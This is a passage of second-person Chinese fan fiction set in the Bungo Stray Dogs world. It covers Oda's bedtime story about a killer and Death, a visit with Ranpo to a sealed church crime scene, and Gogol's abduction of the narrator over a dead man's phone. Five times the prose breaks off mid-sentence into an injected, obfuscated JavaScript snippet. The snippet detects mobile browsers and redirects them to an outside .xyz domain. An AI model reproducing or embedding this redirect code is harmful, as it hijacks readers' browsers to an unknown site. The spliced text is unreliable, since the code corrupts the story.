你骤然睁开眼睛,后背的薄汗浸透柔软睡衣,额前黑发因汗珠贴着皮肤,带来令人难受的黏腻感觉。 你摸着自己的额头,想到抓起死去的小墨水——那只黑色金鱼——的触感。 无边的黑暗之中,天花板的灯泡轮廓像一颗冷漠的、死去的眼珠,或者,旋转着的唱片,旋转着…… 你头晕目眩。 下一刻,那灯泡亮了起来,你猛地把眼睛闭上,泪腺因强光的刺激分泌出一点晶莹。 是织田打开了电灯开关。 他比常人敏锐许多。 “做噩梦了吗?” 织田在问出来的时候,眼中闪过了懊恼的神色,他意识到自己说了废话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13166096|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他弥补的动作很快……他给你取来了一杯温水,行动总是胜过言语。 你坐起来,接过水,低声说了一句“谢谢”。 织田目不转睛地盯着你。安静了一会儿,说,“昨天中午,我去查了群体失忆特异点的信息。” 在咖啡厅遇到你时,正是他查完情报回来的时候。 “去哪里查的?”你问。 “异能科。” “查到了什么?” “教堂案,太宰朔的危险评级为‘低’,以及,‘二叶亭彻’被定为死亡。”织田说,“你是个好孩子,做噩梦是因为教堂案吗?” “我已经忘了教堂中的事,织田先生也知道的,因为特异点。” 你轻轻地说着,看了一眼墙上的挂钟,凌晨三点多一点。 你去擦洗了一下身上的冷汗,回来后发现织田也坐着,于是说,“我睡不着了,织田先生也被我打扰得睡不着了吗?抱歉……” 织田的确是因为你而醒来,他不想让你心生愧疚,又不想撒谎,因此没有承认,直接转移了话题,“我给小朔讲讲故事吧,听着故事就能睡着了。” “是织田先生的小说内容吗?”你的脸上露出期待的微笑。 “不……”织田看着你的眼神,改口道,“可以是。” 你抱起墙边的诺亚,放到床头柜上,让它与你一起听睡前故事,随后钻进被窝里躺好。 织田坐到你旁边,他没有拿任何纸稿,用慢悠悠的语速,一边在脑海中编织着情节,一边为你讲故事…… “一天傍晚,本该死去的杀手K出现在急行电铁的一号路口,现在,他要去完成最后一个杀人任务——死神大人告诉他,只要他能够在三天内杀死任务目标,就可以重返人间。” 43.第四十三章 “最后一个杀人任务?” “是的,杀手K已经不打算继续作为杀手而活着。”织田说。 “为什么呢?”你问,“当一个杀手——像爆米花电影里那样,不是很酷吗?” 在那种电影里,杀手往往是大杀四方的主角。 不过横滨的杀手很少有电影里那么厉害。 横滨最厉害的杀手,早在许多年前就神秘消失了。 “我现在还不知道原因,不知道他究竟在思考着什么,杀手K已经作为一个连讲述这个故事的人都无从捉摸的角色出现在了这个世界上。”织田坦然道,“但是有一件事可以猜测到——杀手K——我们就叫他K吧,并不觉得杀死他人是一件‘很酷’的事。” “他是个讨厌杀人的杀手……前杀手。”你说。 “或许也不是,对于夺走他人的生命,K不热衷,也不讨厌,那对他而言只是一种日常工作,就像把快递送到各街道房屋中一样平淡,他只是去做了那件事。” “所以他无法完成死神给出的任务。”你笃定道。 织田一怔,“为什么这么说?” “既然他不打算继续作为杀手而活着,又怎么会愿意作为杀手而死去呢?” 你眼神澄澈,“这是最后一个任务,也是注定失败的任务,因为‘复活’并不足以让K重新杀死他人了。如果非得让他重新拾起杀手的工作,死神就必须给出其他的让K杀人的动机,或者弄明白为什么K不再杀人,并去破坏那个理由。” “你说的或许是对的……” 织田思索片刻后,点了点头。 “不论怎样,我来介绍一下这位K君吧,虽然他从前做的是‘杀手’这种不太常见的工作,但实际上,他和寻常人并没有太大的差别。” “他的长相平平无奇,放在人群里,即使是熟人也很难一眼识别出来,这点倒是与‘杀手工作’十分相配。但即使有那么一张得天独厚的普通的脸,他的业务水平也很一般,总是会让任务目标跑掉,或者出现差错让自己受伤。” “他有时也会很沮丧,或者陷入迷茫和空洞,并且,他知道这种迷茫与丧气对于他的人生百害而无一利。然而,就像只有很少的人才能在明知道需要勤奋的时候做到自虐式的自律一样,他会一边唾弃自身,从灵魂到躯壳进行批判,暗自下定决心要改变,一边继续沮丧、继续迷茫、继续陷入空洞——除了职业特殊一点,和很多人别无二致,既不酷,也不引人注目。” “不过,这次任务的任务目标,X君,却与他截然不同。如果说K君是平平无奇的极致,那么X君就是非同寻常的极致。” “不管在哪个方面,X君都能做到最顶尖的程度。不仅如此,旁人还不会对其升起任何嫉恨,X的身上有一种奇特的非凡魅力,即使是最挑剔的评论家,在看见X君的时候,也会情不自禁地对他产生好感……” 织田停顿了一下,他观察着你,你意识到他在考虑你是否有继续听下去的打算。 “K君认识X君吗?”你表现出对故事的兴趣,“他们是朋友,或是敌人?” “从表面上看。”织田说,“他们并不相识,至少K君并不认识X君。” 你惊讶道,“咦,没有任何关系吗——我知道了,K君失忆了,是不是?灵感来源于群体失忆事件。” “如果K君的记忆很完整,他的记忆里从未出现过X君的脸……”织田想了想,“这样的话,故事会不会很无聊?” “不会。”你说,“就算是无聊的故事,织田先生也一定是为了让故事有助于睡眠才这样精心设计的。” 你的情商提高到了一个新的境界。 但是说话的艺术对于织田而言,似乎如同空气。 他看了看你,“小朔是不是对后续的情节还有什么推测?” “我是这样猜测的——” 你缓缓地说,“K君和X君是朋友,友人X为了拯救杀手K,与死神做了交易,付出双方的全部情感与记忆,换取一次复活的机会。” “很感人啊。”织田点了点头。 “但是死神是个恶劣的家伙,将任务的目标定为了友人X,尝试制造朋友之间自相残杀的悲剧。” “真是可恨。”织田又点了点头。 “不过,K君没有开枪,因为他已经不打算继续当杀手了。他只是呆在X的身边,度过了期限中的三天。几经辗转后,K君了解到了事情的真相……与友人X做出了最后的道别。” 你讲述完了你在脑海中编出来的故事。 也许你真的有讲述故事的天赋,织田作静静地看了你很久,他就像想要透过你的眼睛搞明白你的大脑中究竟有怎样惊人的才华。 他说,“看来我得考虑其他的故事发展了。” “我猜对后续了吗?”你高兴地说。 “不,和我原本想的并不一样,但是比我想的精彩多了……”织田摸了摸下巴。 “唉呀,哪有那种可能。”你笑了笑,“我想听织田先生所写的后续。” 于是织田想了想,继续道,“死神告诉杀手K,复活的机会是他的友人用生命换来的。所以,杀手K虽然忘记了自己友人是谁,也不想再杀人,但他依然循着任务的指引,乘坐着列车,来到了X君所在的地方。” “这时候,他发现,X君所在的地方竟然是自己的葬礼。” “该不会X君就是我的友人吧——K的心里难免出现了这样的想法。死神一向只出现在阴冷的传说里,通常是背着镰刀、用兜帽套着脑袋,一副黑暗生物的模样,K想到死神的阴暗,越来越觉得祂戏弄了自己。” “于是,K走上前去——他此时出现在这里,相貌已经做过了伪装,这点毋庸置疑。他来到X的面前,旁侧敲击地打听X为什么会出现在自己的葬礼上。” “然而,出乎他意料的是,X君并不是他的友人,他说,‘我是来庆祝的,这个家伙总算回归死亡了啊,真是一件值得高兴的事。’” “难道X君不是自己的友人,而是敌人吗?K想,如果是这样,就更有理由完成自己的友人用生命换来的复活任务了吧。” 这时候,你摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13188053|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,“不对,还有一种可能——X认出了K,故意这样说,希望K能够杀死自己。” 织田有些吃惊地看着你,他叹了口气,“真是聪明啊,小朔。没错,正是如此——K也想到了这种可能,他到参加葬礼的其他人的口中询问X和K的关系。” “葬礼上的人不多,毕竟K不是个擅长交际的家伙,然而,他经过多方打听才知道,自己的人缘比想象中的还要差劲——原来,葬礼就是X君举办的,宾客们之所以会来参加葬礼,都是想来看看X君的好友究竟是何方神圣,而不是在乎他K君的死亡。” “死神果然是个恶劣的家伙啊,让自己杀死自己的友人,这就是‘你的友人用生命换来了你复活的机会’的意思吧。K既然知道了真相,自然就更不可能开枪了。” “三天时间很快就过去,K敲响X君家的门,决定进行最后的告别。” “然而,在他对X君表达了感谢,并让X君不要为自己的离去而悲哀后,X君说——” “‘但是,我就是死神啊?’” “K大吃一惊,他几乎说不出话来,‘可是,死神交给我的任务、你交给我的任务是……’” “X君怎么会是死神呢,即使不提任务内容,他是如此的光彩夺目,而死神是那样的阴沉黑暗,谁能想到那是同一个人呢。” “‘你说那个啊。’X君好像能看穿K的想法,微笑着说,‘凡人死去后怎么会复生呢?只有通过死神的考核,即杀死一位死神,成为新的死神,才能继续活在这个世界上啊。我只是觉得人间十分无聊,想要离开,干脆让我擅长带走灵魂的友人,也就是你,帮我这个忙而已。而且,如果我不是神明,是没办法得到所有人的喜欢的,所以,我神明的身份无可置疑哦。” “‘真是抱歉啊,即使你这样说,我也没办法动手。’K愧疚地说,‘我没有办法完成死神的考核任务,将永远与这个世界说再见……你只能找其他人来帮助你了。” 你抿着嘴,“虽然悲伤意味并不强烈,但实际上还是悲剧啊……” 毕竟K从一开始就死去了,有着需要杀死特定的人的任务,不管K是否完成任务,都一定会有人死去。 从故事的开头,悲剧就已经注定了。 织田想了想,“就在这时,X君大笑了起来,‘你在说什么傻话啊?’” “K愣愣地看着他这位友人。” 你也呆呆地看着织田。 “X君停止笑声,有些遗憾地说,‘是的,你成为死神的考核任务失败了,所以啊——你只能成为天使了!’” 故事结束,屋子里安静了好一会儿。 你一下子坐起来,叫道,“等一等,哪里来的天使啊?” “童话故事里出现天使也很合理吧?”织田点了点头。 太合理了,但是…… “童话故事?”你睁大了眼睛,“这童话吗?” “给孩子的睡前故事当然要讲童话啊。” 织田的脸上浮现出理所当然的表情。 “朔君不喜欢这个故事吗?” 44.第四十四章 “非常精彩的故事。”你认真地看着他,“如果织田先生能够把故事详细写出来,然后出版的话,我一定会买一本——不、买一箱!” 织田挠了挠头,“只是给小朔讲的睡前故事而已,出版什么的未免……” “不仅是我,还会有很多孩子、很多孩子以外的人,期待并喜欢着织田先生的故事。” 你微笑道,“哎呀——真的好想以后不在织田先生身边的时候,也能够看见、并亲手触摸到织田先生写下的故事哦……孩子们要是听过织田先生的睡前故事,也都会这样想的吧。” 灯光在织田的脸上徜徉,投下柔和的影子。他像是不知道该如何回应你的夸赞与期待,愣了愣才道,“……谢谢。不过,睡前故事讲完了,小朔有困意了吗?” “如果我说没有的话,织田先生会讲新的故事吗?”你打的什么算盘谁都能听出来。 “恐怕不行。”织田说,“短时间内,我讲不出新的故事了。” 他想了想,“睡不着的话,或许朔君可以数小羊。” “数再多Sheep也没法快速sleep的——”你拽了两句蹩脚的英文,重新躺好,“谢谢你的故事,晚安,织田先生。” “……晚安。” …… 织田一大早就出门了,只剩下你和立原来到教堂门口。 教堂的大门前拉着警戒线。 十月十七日的时候这里被封锁,到现在还没有解除。 江户川乱步是踩着点到的,他嘴里叼着巧克力棒,身上棕褐色的帽子与披风斗篷和秋天很搭。 这是他的常用装扮。 在好几年前,这位名侦探以“少年异能侦探”之名横空出世,接连破获要案重案的时候,江户川乱步的形象就曾在报纸上出现。 横滨一度掀起过模仿他的衣装的风潮,直到现在,依然有少年喜欢穿着同款衣装行走在街上。 只不过,服装能够模仿,大脑与异能却无法复刻。在如今的横滨提起名侦探,人们第一时间想到的,还是江户川乱步。 虽然设有警戒线,但没有人——至少明面上没有人在这里值守,乱步直接用手抬起警戒线钻了进去,你抱着诺亚,和立原紧随其后。 最外面院子的金属栅栏大门锁上了。立原很迅速地用铁丝打开了门锁,迅速到就好像门本来就是开着的一般。 “开锁很快嘛。”乱步看了立原一眼。 可能是因为当着侦探的面开锁,立原有些僵硬地笑了笑,“熟能生巧吧……Mafia就是什么都得会一点。” 你们沿着水泥路往前直走,昨天的雨在路面上留下了水泊,原本可能存在的血迹也被冲刷得一干二净。 教堂主建筑的门没锁,甚至没关,但门口有个年轻的警员坐着,正低头看着手机。 见到你们,小警员收起手机,站了起来,颇为不好意思地说,“乱步先生您来了!我刚才没看见你们,真是抱歉……” 看来,在过来之前,侦探社和市警那边已经通过气了。 正常来说,不用你们开锁进来,这个小警员会为你们开门。 乱步看了看他,什么也没说,脸上也没什么表情,只是摆了摆手。 小警员给你们发放了手套和鞋套,让你们穿戴上,和你们一同走进了教堂。 教堂中的尸体与血迹、还有勘察痕迹时的排序牌,都已经被清理完毕,粗略看过去,这里和案件发生前没有很大的区别。 你走到中间一点的地方,那个玛丽亚圣母像的身前。 雪白的雕像的脸上,显露着温柔悲悯的神情。 在费奥多尔给你看的照片中,二叶亭彻杀死的人就跪在这里,跪在神像——以及此时的你的脚下。 “如果要调查的话,现在的教堂已经没有什么线索了。”立原说。 乱步也点了点头,“所以最近几天,织田和社长都是去特务科和军警那边探查消息。” “那些机关不会把情报告知侦探社的吧……”立原一愣。 “当然不会。”乱步摊手道,“嘛,我也没说是光明正大地去打听情报啊。” “欸?!”立原吃惊道,“你们可是侦探社耶?” 言下之意是侦探社作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13188054|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为一个正道的组织,不应该做出偷摸潜入军警的事。 “侦探社又怎么了呢。”乱步撇了撇嘴,“我当时被他们请来看过一次现场。结果啊,我把他们提出的问题的答案说出来,他们却过河拆桥,后续的信息半点都不肯透露,所以只能出此下策咯。” “织田先生会去Mafia打听信息吗?”你问。 乱步停顿了一下,他站在教堂的两排座椅之间,转过头看着你,“朔君很在意他吗?” 你点了点头。 “也许会呢。”乱步不知道想到了什么,嘴角微微扬起,“他昨天查到太宰朔了,下一步就该过去了。” “织田先生能潜入进去吗。”你想了想,“因为群体失忆事件,干部们都赶了回来,最近一段时间估计都不会外派,事务所的防御很严密呢。” “干部的话确实有点麻烦啦,但对织田来说不成问题,最多是潜入用时得增加一些,他得做好准备。”乱步说,“他总有一天得去Mafia的,一些事总会了结。” “为什么?” “织田也说过了吧,他从前被Mafia背叛过。”乱步只是简单地说了一句,却没再继续解释了。 你抱着诺亚,跟着乱步绕着教堂转了一圈。 或许是因为今天虽然没有下雨,却是个阴天,华美的玻璃彩窗外没有阳光照进来,又或许是因为你见过案发现场的照片,再或许是因为你穿的实在有些单薄……教堂的氛围肃穆又灰暗,你感到身体有些寒冷。 “不知道这里见证过多少腌臜的事啊……”你最后又把视线投向那座圣母像,“我听说现场并没有二叶亭彻的犯罪证据,乱步先生是怎么确定他是凶手的呢?” “非要问这个的话……”乱步停顿了一会儿,“那还用说吗,当然是因为——名侦探的异能无所不知。” “而且,案情本来就很简单……”乱步的声音放轻了,“从现场的痕迹以及监控看,这里没有除了二叶亭以外的活人,能杀死那个宝石商人的,只有二叶亭。其他的一切——都只是二叶亭故布疑阵,以达到……某种怨愤的排解与报复。” 45.第四十五章 “十月十七日对二叶亭君来说还真是个难忘的生日啊。”你说。 的确,在八年前的这一天,二叶亭彻失去了最重要的人,而在教堂案发生的那个十月十七日,二叶亭彻消失于世界上,对应的是你降临于此世,被太宰带回Mafia。 从某种意义上,这不仅是二叶亭彻的生日,也是“你”的生日。 你偏过头,发现乱步正抬头注视着那高大悲悯的圣母像。 “乱步先生,生日快乐。” “是织田告诉你的吧,谢谢。”乱步转头,诧异地看着你,“朔君好像准备了很不得了的生日礼物啊。” “嗯?乱步先生是怎么发现的,这也是异能力的一部分吗?”你笑了笑,“是乱步先生应该会喜欢的礼物哦。” “我猜猜,朔君手上什么礼物也没有。” 乱步看了一眼你手里的诺亚,他知道,你不会把诺亚送给他。 “如果是以某个谜题或者情报作为送给我的礼物,那得很有趣才行——我可是很挑剔的。”乱步说。 你走近了乱步,他只比你高一点点,所以只要你轻轻踮起脚尖,就能很容易地凑近他的耳朵,“是关于侦探社的消息。” “朔君的意思是,侦探社还有什么是我不知道的么?”乱步隐约猜到了什么,示意你继续说。 “未来。”你想了想,拉着乱步避开立原和警员,低声说,“侦探社的未来……为了拿到‘大指令’,猎犬的队长福地樱痴会将侦探社陷害为人类之敌。这将会成为后续一系列悲剧的开端。” 乱步沉默了片刻,他睁着眼睛打量着你,像是端详一个从不认识的人。 “这是多遥远的未来?”乱步问。 “大约一年后的未来。”你说。 也许你是在胡诌,也许你是真的有某种预言耳朵能力,不管怎么样,江户川乱步似乎相信了你的话。 但是,他并没有继续问下去。 “什么啊——朔君……”乱步无可奈何地长叹一口气,手叉着腰,“为什么你会把这种消息当作生日礼物啦!” 你茫然地看着他。 “这不是重要到可以作为礼物的信息吗?” “朔君。生日是值得高兴的、有纪念意义的重要日子,在这样的日子里送出的‘礼物’,应当是能够让人感到高兴的东西哦?” 乱步扶了扶帽檐,“不是‘重要’就可以当作礼物的。像你告诉我的信息,虽然十分重要,能够让我和侦探社事先做好布置与准备,但是——完全让人高兴不起来啦!过生日的心情都没有了。” “欸,礼物应当是能够让人感到高兴的东西啊。”你站在原地,也许是因为无措,像无知觉的树木一样,僵硬地重复了一遍乱步说的话。 乱步用力拍了拍你的肩膀,“虽然你在值得高兴的日子里给我带来了一个坏消息,不过、没关系!我知道朔君是好意哦。” “不行。”你低头看着诺亚,“我得补偿乱步先生……” “唉,开玩笑的啦,就这种程度的消息还没法破坏我的心情,我很感谢朔君的,也因为朔君记得我的生日而高兴。你的消息帮了大忙了,如果以后朔君有需要帮助的地方,完全可以来找我和侦探社——” 乱步眯着眼睛微笑着。 “朔君都这样帮助侦探社了,你想知道的信息,我现在也会尽力解答——毕竟社长说过,滴水之恩要涌泉相报,我也不是不识好歹的家伙。” “不……”你抬起头,认真地注视着乱步的眼睛,有些偏执地说,“我会在晚上去侦探社,在生日会上,给乱步先生带去别的、让人高兴的礼物的,一定会。” 乱步安静地盯着你看了片刻,然后笑着转过了头,“提前知道朔君会有礼物给我,真是期待啊。” “绝对不会让乱步先生失望。”你低声道。 你发誓般自言自语,也不知道乱步有没有听到。 远处的立原敲打着墙壁与地板,好像在探查这里是否有隐藏的密室或者通道。 年轻的警员则发现你们的悄悄话说完了,朝你和乱步走了过来。 “其实二叶亭在十月十七日那天,也送了Mafia首领一份礼物。”乱步轻声说。 你一愣,“什么?” “你不觉得奇怪吗,Mafia竟然能在时刻监管着大规模异能波动的特务科之前,来到这个教堂,及时把二叶亭……把你带走。” 你很聪明,“这是因为二叶亭彻联系了Mafia。但是他送的礼物,难道是特异点……” “不,二叶亭未必有想到特异点的出现。” 乱步又返回了圣母像的身前,他慢慢地蹲了下来,盯着地板,“十月十七日下午,二叶亭完成最后的复仇,也就是教堂案后……自杀了。他的死对Mafia是有利的,二叶亭作为犯罪对策科的顾问,知道太多Mafia的犯罪证据与把柄。” 你沉默地看着乱步。 “我没能阻止他。明明我应该看出来的,他甚至当天还来找我了。明明我作为名侦探,接下了委托,就应该帮助委托人解决问题的……”乱步说,“我忘了那天他来找我的时候,我们究竟说了什么,但我大概能猜到——” 他将手轻轻放在地板上,“我应该是说了什么让他彻底绝望的话,所以他来到了教堂,杀完人,通知Mafia来这里,然后就此离开了这个世界。在他死去的过程中,他生机还未完全消散的躯壳把你吸引了过来,整个过程就是这样。” 其实不是的,关于二叶亭彻的死,江户川没有任何错误。 他只是见证了二叶亭彻一步步走向死亡的过程,觉得自己有救下二叶亭彻的可能,最后却没能救下,为此感到歉疚。 但事实上,没有这种可能,因为当一个人真的决定离开这个世界,谁也阻止不了。 “……乱步先生在自责吗?”你抱着诺亚,慢慢蹲到他旁边。 “有那么点,不过……”乱步抿了抿嘴,“怎么想都是他太愚蠢了啊!一直无法走出过去的阴影,一点也不肯抬头朝未来看,直到最后,才决定彻底放弃秩序,太愚蠢了、太笨了……” 乱步的手用力捶了一下地板。然后痛得把手缩了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13201647|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 你陪在乱步的身边。 他在短暂的沉默后,转头紧紧盯着你,“我知道,朔君,你想了解关于你那个监护人的事。” 你用力地点了点头。 “二叶亭杀死了那位商人,这几天,Mafia除了群体失忆事件带来的麻烦,重点都放在了吞并那个商人背后的商会上。” 乱步冷静地说,“对有的人来说,杀人就像喝水,但二叶亭不是这样的人,他更偏向用合法的手段解决问题。我怀疑,二叶亭之所以迈出了这最后的一步,你的监护人也在其中提供了帮助。” 你领会到了乱步的意思,“只要我能找到二叶亭彻与太宰先生相互联系的方法……” “他们有长期往来,在一些简单日常的交流上,他们应该有通过手机联系。教堂当天让Mafia过来,也是通过手机联系。”乱步说,“如果你能找到二叶亭的手机,或许能发现什么。” “他的手机在……” 乱步想了想,“原本应该是在特务科——” 就在这时,已经走到你旁边的警员忽然掀起了斗篷—— ……哪里来的斗篷? 你眼前一花,脚下一空,消失在了教堂。 再次踩到地板上的时候,已经是在室外不知哪栋楼的一个天台上了。 果戈里已经换下了警服,身上穿着黑白两色的礼服,身披白色斗篷,俨然一副魔术师的模样,颇有几分神秘和优雅在。 他甩了甩银色的小辫子,坐在围栏上笑眯眯地朝你招手,“朔君,又见面了呀,这次该你逃跑了哦。” 天空阴阴的,乌云黑压压一片。狂风刮过,你冷得抖了抖,抱紧了诺亚。 果戈里忽然意识到不对,“……朔君怎么一点儿也不惊讶?” “那个啊。”你被风吹得眯起了眼睛,微微一笑,“因为我已经发现果戈里先生的存在了。” “欸?诶诶?怎么这样!”果戈里愣了愣,跳下围栏走到地上,懊恼道,“我还想给朔君一个惊喜的!” 就他这种出场方式,只能有惊无喜吧。 “费奥多尔先生这次找我是做什么呢?”你问。 “咦咦,难道只能是费佳派我请你过去,不能是我自己来找你吗?”果戈里不高兴地说,”我是一个独立的意志,并非费佳的附属。” “请不要误会,我绝没有这样想过。”你说,“只是因为能这么快知道我的行踪的,恐怕也只有费奥多尔先生了。” 果戈里盯着你瞧了一会儿,沮丧地垂下头,“行踪的确是费佳告诉我的,也的确是费佳让我来带你走……” “不过!把你带到这里,是出于我自身意志的行为哦。”他的情绪变化得很快,忽然间又兴高采烈起来,从不知什么地方掏出一个证物袋。 证物袋里,装着一个染血的手机。 “这是——”你意识到了什么,向前几步,伸手想要去拿。 在你即将碰到证物袋的时候,果戈里倏地把手收了回去,笑嘻嘻地看着你。 “没错,这是二叶亭彻的手机!” 46.第四十六章 你的视线从证物袋和手机,慢慢沿着果戈里的手指,定在他的脸上。 果戈里笑意盈盈地看着你,好像试图从你的神情中捕捉到任何一丝疑惑或者紧张。 但是,你注定要让他失望了。 你忽然笑了起来,“你好可爱。” “欸、欸?” “把东西递出去——”你伸出手,接近银发青年的脸。 不久前,果戈里原本的面具被你毁坏了,而现在,他的脸上换上了一块新的面具。你的动作就像是要冒昧地把他新的面具再次取下来。 果戈里微微睁大了眼睛。 然而,在与他的面具大约只有两到三厘米的距离时,你把手收了回去,转过身,轻飘飘地走了几步,与他拉开了距离,衣角翩飞。 “——然后再缩回来。这种事,我在离开国中生的阶段之后,就不做了。” “可是您——”他下意识上前一步。 “可是我现在正好是国中生的年龄,所以呢……”你若有所思地点点头,转过身来,眼含笑意注视着他,“尼古莱·瓦西里耶维奇·果戈里先生,我得对你做些更过分的事。” 果戈里的好奇心被你勾了上来,他眨了眨眼睛,现在的他完全被你牵着走,“是什么?” “就是——虽然我知道,小鸟先生很想掰回一城,但这一次,你还是得被我抓住,折断翅膀肆意玩弄……真是不好意思。”真是糟糕的用词。你说话的腔调不无轻佻,“在此提问——是谁杀死了知更鸟?” “是我,麻雀说,用我的弓和箭,我杀了知更鸟。”在你自问自答之前,果戈里很快地回答了。 他勾着嘴角,神色有点小小的得意,“朔君,你说错了,我已经知道了你的异能。所以这次,该逃跑的是你……不过我是不会放你跑掉的哦。” 话落,他把斗篷一扬,白色的异能光圈横着出现在你的膝盖处。 正常情况下,你膝盖以下的地方与上面的部分,会在异能的作用下相互分离,然而,此时明显发生了异常状况—— 异能光圈从你的膝盖处,转移到了果戈里自身的膝盖处。 空间分隔开了膝盖两侧,果戈里猝不及防地失去双腿的支撑,失控地往地上摔去。 “怎么会——”他的反应也很快,试着撤销异能,维持身体平衡。 然而,他的斗篷就像因为膝盖处那个光圈而卡住了一般,果戈里的尝试失败了,只能再试着使用异能作为缓冲,避免自己摔伤。 你走过去,伸出一只手扶住他的肩膀,帮助他安稳地坐在地上。 在他反应过来前,你动作轻巧地摘下了他的礼帽,然后在果戈里迷茫的目光下,把帽子倒过来,将诺亚装进了礼帽里。 对诺亚而言还挺合身的。 虽然由于这是一顶高礼帽,诺亚完全装进去后,还有一小截空出来,但你还是露出了满意的神色。 诺亚——魔术师限定装扮。 你抱着装有诺亚的帽子,眯眼笑起来,低头在帽檐上蜻蜓点水般亲了一亲,“真可爱,是不是?麻雀先生。” 也不知道你说的可爱是指诺亚还是果戈里。 “没办法站起来……”果戈里扬起斗篷不断地尝试,又试着将腿从白色光圈中拔出来,最后沮丧地发现自己怎么也无法收回双腿。 来自死灵之书的异能初显威能。 太宰说的不错,谁也不知道具体效果的异能,就是最具有战略价值的异能。 “你知道吗……传说中,有一种鸟类没有双脚,一直飞翔一直洁白无瑕,如空中纷飞的雪花般不沾染尘土,只有死亡才能让它落地,而落地了也就代表了它的死亡。就像现在的你一样。” 你微笑着俯下身,“成为只属于我的小鸟吧,果戈里先生。” “您说这个,不如说让我成为一锅肉汤,到您的胃里去。” 果戈里这时候竟然还笑得出来,他用力偏过脑袋,“真过分,想让我成为您的极乐鸟,您真过分。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13232726|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “关于我的异能,你虽然猜到,但也让费奥多尔确认过了吧。”你说,“你绝对信任费奥多尔的推测,所以才会这样笃定。” 果戈里戴着面具的那半张脸对着你,他不说话,只是沉默。你看不清他的表情。 于是你再次轻轻地把他的面具摘了下来。 “尼古莱,我知道,你轻盈如羽毛的灵魂注定你不属于任何一个人,也正是因此我知道,你渴望又抗拒与包括费奥多尔在内的人有更紧密的联系,情感是你脖颈的绳,所以——” 你温柔地放下诺亚,抓住果戈里的手。 果戈里猛然转过头,错愕地看着你。 只见,你将面具塞到了他的手里,又拉起他的手,让他如拿着锋利的匕首一般,拿着面具,横在你的脖颈之前。 “当我的小鸟好不好?尼古莱……”你凑得更近了一点,几乎要与他挨到一起,你的另一只手按在最接近他心脏的位置,“当你什么时候想飞往蓝天,就杀死我,随你的心意,随命运,随自由。” 果戈里紧紧注视着你,你的掌心能感受到他的心跳得很快、越来越快…… 倏地、在心脏的剧烈搏动之下,他冲破了异能的束缚! 当然,也有可能是你的默许。果戈里一个闪身,膝盖重新与小腿相连接。 你抱起诺亚,站起身,转头望去。 果戈里稳稳站立着,纯白的斗篷在风中猎猎作响。他默不作声地戴上了面具,你注意到他的耳尖有些泛红。 他看了你一眼,又应激般迅速地转过了头去,什么也没有回答。下一秒,就出现在了天台之外的高空中。 “麻雀先生,费佳是让你来带我回去,不是让你来给我送帽子的——”你笑着高声道。 果戈里也不知道有没有听见,他既没有回头也没有回应地跑了,姿态像极了落荒而逃,迅速到只用了几个呼吸的时间,就消失在了你的视线范围内。 “唉呀——”你低头看着诺亚,脸上洋溢着止不住的笑意。 47.第四十七章 果戈里离开后没多久,你就发现自己被困在了天台上。 这栋楼应该是果戈里随机挑选的,角落里有一个向下的楼梯。但楼梯被一道铁门封锁住,你既没有立原那样高速开锁的本领,也没有强壮到一拳打开铁门的体魄,无法自己打开这扇门。 你试着喊了几声,但无人应答,只好离开门周围的位置,试着找其他办法。 天空越发昏暗,沉闷的空气有些湿润,气温降低了不少。这可不是什么好兆头,可能一会儿就要下暴雨,而你却还被困在这里。 